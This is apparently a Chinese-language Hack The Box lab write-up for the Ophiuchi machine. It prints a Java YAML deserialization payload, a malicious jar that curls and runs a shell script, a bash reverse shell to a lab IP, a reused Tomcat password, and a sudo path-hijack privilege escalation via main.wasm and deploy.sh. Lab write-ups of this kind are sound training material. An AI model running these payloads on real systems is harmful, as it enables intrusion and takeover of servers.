HTB 学习笔记
【Hack The Box】linux练习-- Ophiuchi
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 8080
- 目录爆破
- java-yaml反序列化
- 获取shell
- tomcat ->admin
- admin->root
- wasm
- 修改
信息收集
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
8080
Parse YAML
死页面,啥都干不了,输入一个东西他说网站已经关闭
目录爆破
目录爆破命令就不写了
得到
/test (Status: 302)
/manager (Status: 302)
manager页面要求登陆
YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象,这就是反序列化。
尽管该网站说它已关闭,但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。 我将尝试使用 YAML 反序列化负载进行检查。 由于服务器是 Tomcat,我将寻找基于 Java 的有效载荷。
java-yaml反序列化
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.7/"]
]]
]
本地开启的python 服务器回收到信号
说明反序列化成功
关于yaml反序列化的利用,利用
https://github.com/artsploit/yaml-payload
https://github.com/mbechler/marshalsec
修改payload,而后修改payload让他请求我们的恶意jar包
操作
- 下载
proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
得到src - 修改AwesomeScriptEngineFactory.java
- 编译
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf ping.jar -C src/ . //打包
得到了一个ping.jar
4. 开一个python服务器以及一个icmp监听
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.29/ping.jar"]
]]
]
请求这个ping包
我们发现本地的icmp收到了ping
所以我们的道路通畅
接下来修改命令来执行命令
那么这是确定存在rce,在java中,实现rce的手段我们通常选择如下利用.sh脚本的方法
获取shell
- 写一个脚本
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
- 修改java文件
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");
Runtime.getRuntime().exec("bash /tmp/shell.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
重新编译打包运行
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .
tomcat ->admin
作为tomcat用户,当前主目录是 /opt/tomcat:
/opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码:
找到密码
whythereisalimit
su admin
密码重用成功
admin->root
没有go的二进制提权
看一下那个index.go文件是个什么情况
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
他会导入几个模块,然后定义一个函数,读取main.wasm,然后放到一个新的实例,然后返回的如果不是1,就输出Not ready to deploy",如果是1,就/bin/sh", "deploy.sh,执行这个脚本
我直接执行,没用
sudo /usr/bin/go run /opt/wasm-functions/index.go
并且会报错,那我先找到main.wasm,然后执行一下看看
find / -name "main.wasm" 2>/dev/null
两个目录都是第一种情况
那么接下来就是要想办法让返回值是1
wasm
WASM 或 Web Assembly 是一种二进制指令格式,用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序,但它也可以在其他环境中运行。
proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm
到这里就可以生成一个main.wasm
将转换 main.wasm转换成 WebAssembly 文本格式(从二进制格式):
因为 Go 程序对main.wasm 的调用不使用绝对路径,所以我可以控制两者 main.wasm和 deploy.sh. 我会写一个 main.wasm返回 1 和一个 deploy.sh
修改
把返回值改成1,在wat中他是const后的参数
将main.wasm 转换为main.wat以便修改
wasm2wat main.wasm -o main.wat
修改完再变回来
wat2wasm main.wat -o main.wasm
这个脚本就很普通了,正常的一个赋权脚本
deploy.sh
#!/bin/bash
chmod +x /bin/bash
传输到靶机/tmp目录
然后给当前目录临时写进环境变量
export PATH=/tmp:$PATH
脚本失效?nonono,我忘记赋权了
chmod +x
截图是我尝试写入ssh密钥
用上面的脚本直接/bin/bash -p 即可